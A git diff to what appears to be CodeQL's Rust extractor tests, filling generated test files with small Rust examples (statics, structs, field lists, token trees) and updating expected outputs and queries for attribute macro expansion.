--git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs index 657b98a3efd2..39e72c8527e1 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_slice_type_repr() -> () { - // A SliceTypeRepr. For example: - todo!() + // A slice type. + // + // For example: + let s: &[i32]; + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected index 9aac17e8e840..e354381a9216 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected +++ b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected @@ -1,2 +1,2 @@ -| gen_source_file.rs:1:1:6:2 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | +| gen_source_file.rs:1:1:9:2 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | | lib.rs:1:1:1:20 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected index 981f445201e0..236a2a0755b8 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected @@ -1,2 +1,2 @@ -| gen_source_file.rs:1:1:6:2 | SourceFile | 0 | gen_source_file.rs:3:1:6:1 | fn test_source_file | +| gen_source_file.rs:1:1:9:2 | SourceFile | 0 | gen_source_file.rs:3:1:9:1 | fn test_source_file | | lib.rs:1:1:1:20 | SourceFile | 0 | lib.rs:1:1:1:20 | mod gen_source_file | diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs b/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs index 5d8e1d2caf47..ba9ab156a34c 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs +++ b/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_source_file() -> () { - // A SourceFile. For example: - todo!() + // A source file. + // + // For example: + // main.rs + fn main() {} } diff --git a/rust/ql/test/extractor-tests/generated/Static/Static.expected b/rust/ql/test/extractor-tests/generated/Static/Static.expected index e69de29bb2d1..076578efe684 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasBody: | yes | isMut: | no | isStatic: | yes | isUnsafe: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static.ql b/rust/ql/test/extractor-tests/generated/Static/Static.ql index fa0776ca377c..96a1fbd9814f 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static.ql +++ b/rust/ql/test/extractor-tests/generated/Static/Static.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Static x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasBody, string isMut, string isStatic, string isUnsafe, string hasName, - string hasTypeRepr, string hasVisibility + Static x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasBody, string isMut, + string isStatic, string isUnsafe, string hasName, string hasTypeRepr, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.isMut() then isMut = "yes" else isMut = "no") and @@ -24,6 +29,6 @@ where (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "isMut:", isMut, "isStatic:", - isStatic, "isUnsafe:", isUnsafe, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, - "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasBody:", hasBody, "isMut:", isMut, "isStatic:", isStatic, "isUnsafe:", isUnsafe, "hasName:", + hasName, "hasTypeRepr:", hasTypeRepr, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..500484b60b34 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Static x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected index e69de29bb2d1..1c7305c4991d 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:21:7:22 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected index e69de29bb2d1..96c219c64db6 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:12:7:12 | X | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected index e69de29bb2d1..556c54674849 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:15:7:17 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/Static/gen_static.rs b/rust/ql/test/extractor-tests/generated/Static/gen_static.rs index cd0e40d3f6ca..b045dfadcf7c 100644 --- a/rust/ql/test/extractor-tests/generated/Static/gen_static.rs +++ b/rust/ql/test/extractor-tests/generated/Static/gen_static.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_static() -> () { - // A Static. For example: - todo!() + // A static item declaration. + // + // For example: + static X: i32 = 42; } diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected index 201b91c921f2..46bdea2a71cb 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected @@ -1 +1,2 @@ -| gen_stmt_list.rs:3:27:6:1 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 0 | hasTailExpr: | yes | +| gen_stmt_list.rs:3:27:12:1 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 0 | hasTailExpr: | yes | +| gen_stmt_list.rs:7:5:10:5 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 2 | hasTailExpr: | no | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected index e69de29bb2d1..46bda795699f 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected @@ -0,0 +1,2 @@ +| gen_stmt_list.rs:7:5:10:5 | StmtList | 0 | gen_stmt_list.rs:8:9:8:18 | let ... = 1 | +| gen_stmt_list.rs:7:5:10:5 | StmtList | 1 | gen_stmt_list.rs:9:9:9:18 | let ... = 2 | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected index 007a65f8439c..998a40aea79c 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected @@ -1 +1 @@ -| gen_stmt_list.rs:3:27:6:1 | StmtList | gen_stmt_list.rs:5:5:5:11 | MacroExpr | +| gen_stmt_list.rs:3:27:12:1 | StmtList | gen_stmt_list.rs:7:5:10:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs b/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs index cea5eceb1cd3..8cc83732b62f 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs +++ b/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_stmt_list() -> () { - // A StmtList. For example: - todo!() + // A list of statements in a block. + // + // For example: + { + let x = 1; + let y = 2; + } + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct.expected index e69de29bb2d1..63c314de8695 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasFieldList: | yes | hasGenericParamList: | no | hasName: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct.ql b/rust/ql/test/extractor-tests/generated/Struct/Struct.ql index d2b3a349386c..4471b94700c9 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct.ql +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Struct x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasFieldList, string hasGenericParamList, string hasName, string hasVisibility, - string hasWhereClause + Struct x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasFieldList, + string hasGenericParamList, string hasName, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasFieldList() then hasFieldList = "yes" else hasFieldList = "no") and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -22,6 +27,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasFieldList:", hasFieldList, "hasGenericParamList:", - hasGenericParamList, "hasName:", hasName, "hasVisibility:", hasVisibility, "hasWhereClause:", - hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasFieldList:", hasFieldList, "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, + "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..7673f2d669eb --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Struct x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected index e69de29bb2d1..b2233206f649 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | gen_struct.rs:5:18:8:5 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected index e69de29bb2d1..6912576e6fb4 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | gen_struct.rs:5:12:5:16 | Point | diff --git a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs index f5b42b79190c..253a554e3f9b 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs +++ b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs @@ -2,5 +2,8 @@ fn test_struct() -> () { // A Struct. For example: - todo!() + struct Point { + x: i32, + y: i32, + } } diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected index e69de29bb2d1..16e48f1e4f91 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected @@ -0,0 +1 @@ +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | getNumberOfAttrs: | 0 | getNumberOfFields: | 2 | hasSpread: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected index e69de29bb2d1..a9e8edc6aae1 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | 0 | gen_struct_expr_field_list.rs:7:11:7:14 | a: 1 | +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | 1 | gen_struct_expr_field_list.rs:7:17:7:20 | b: 2 | diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs index 01557f966aa2..12871cfdd2c4 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_expr_field_list() -> () { - // A StructExprFieldList. For example: - todo!() + // A list of fields in a struct expression. + // + // For example: + Foo { a: 1, b: 2 } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField.expected index e69de29bb2d1..52a70f01feb8 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | getNumberOfAttrs: | 0 | hasDefault: | no | isUnsafe: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected index e69de29bb2d1..1b66b3a883b9 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | gen_struct_field.rs:7:16:7:16 | x | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected index e69de29bb2d1..ad77aac46016 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | gen_struct_field.rs:7:19:7:21 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs index 562b5adc7721..6d9e99334a58 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs +++ b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_field() -> () { - // A StructField. For example: - todo!() + // A field in a struct declaration. + // + // For example: + struct S { x: i32 } + // ^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected index e69de29bb2d1..f07a535897fe 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected @@ -0,0 +1 @@ +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected index e69de29bb2d1..cd2ac33b4c95 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | 0 | gen_struct_field_list.rs:7:16:7:21 | StructField | +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | 1 | gen_struct_field_list.rs:7:24:7:29 | StructField | diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs index bdec77ecaaea..4e3967bfae30 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_field_list() -> () { - // A field list of a struct expression. For example: - todo!() + // A list of fields in a struct declaration. + // + // For example: + struct S { x: i32, y: i32 } + // ^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected index e69de29bb2d1..a52d73ab6c8b 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected @@ -0,0 +1 @@ +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | getNumberOfFields: | 2 | hasRestPat: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected index e69de29bb2d1..c2d445a5a3f0 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | 0 | gen_struct_pat_field_list.rs:7:15:7:15 | ... | +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | 1 | gen_struct_pat_field_list.rs:7:18:7:18 | ... | diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs index a424ca84d640..1543bab7133f 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_pat_field_list() -> () { - // A StructPatFieldList. For example: - todo!() + // A list of fields in a struct pattern. + // + // For example: + let Foo { a, b } = foo; + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected b/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected index b13382221bb8..f349b236ed7c 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected @@ -1 +1,3 @@ -| gen_token_tree.rs:5:10:5:11 | TokenTree | +| gen_token_tree.rs:7:13:7:40 | TokenTree | +| gen_token_tree.rs:7:14:7:39 | TokenTree | +| gen_token_tree.rs:9:22:9:49 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs index 7781391e232a..be742ecc27db 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs +++ b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_token_tree() -> () { - // A TokenTree. For example: - todo!() + // A token tree in a macro definition or invocation. + // + // For example: + println!("{} {}!", "Hello", "world"); + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + macro_rules! foo { ($x:expr) => { $x + 1 }; } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait.expected b/rust/ql/test/extractor-tests/generated/Trait/Trait.expected index 451422d330ab..de921f246b43 100644 --- a/rust/ql/test/extractor-tests/generated/Trait/Trait.expected +++ b/rust/ql/test/extractor-tests/generated/Trait/Trait.expected @@ -1,2 +1,2 @@ -| gen_trait.rs:3:1:8:1 | trait Frobinizable | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | -| gen_trait.rs:10:1:10:57 | trait Foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | yes | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | yes | hasWhereClause: | yes | +| gen_trait.rs:3:1:8:1 | trait Frobinizable | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_trait.rs:10:1:10:57 | trait Foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | yes | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | yes | hasWhereClause: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait.ql b/rust/ql/test/extractor-tests/generated/Trait/Trait.ql index b4548cddceee..2e8173a21aff 100644 --- a/rust/ql/test/extractor-tests/generated/Trait/Trait.ql +++ b/rust/ql/test/extractor-tests/generated/Trait/Trait.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - Trait x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAssocItemList, - int getNumberOfAttrs, string hasGenericParamList, string isAuto, string isUnsafe, string hasName, + Trait x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, string hasAssocItemList, int getNumberOfAttrs, + string hasGenericParamList, string isAuto, string isUnsafe, string hasName, string hasTypeBoundList, string hasVisibility, string hasWhereClause where toBeTested(x) and @@ -15,6 +16,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasAssocItemList() then hasAssocItemList = "yes" else hasAssocItemList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -25,7 +31,7 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAssocItemList:", hasAssocItemList, "getNumberOfAttrs:", getNumberOfAttrs, - "hasGenericParamList:", hasGenericParamList, "isAuto:", isAuto, "isUnsafe:", isUnsafe, "hasName:", - hasName, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", hasVisibility, - "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAssocItemList:", hasAssocItemList, + "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isAuto:", + isAuto, "isUnsafe:", isUnsafe, "hasName:", hasName, "hasTypeBoundList:", hasTypeBoundList, + "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..9499d03e9ccc --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Trait x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected index e69de29bb2d1..0a5b69dcd5e2 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasTypeBoundList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql index 80fe86e27493..319f65e3730e 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - TraitAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasGenericParamList, string hasName, string hasTypeBoundList, string hasVisibility, - string 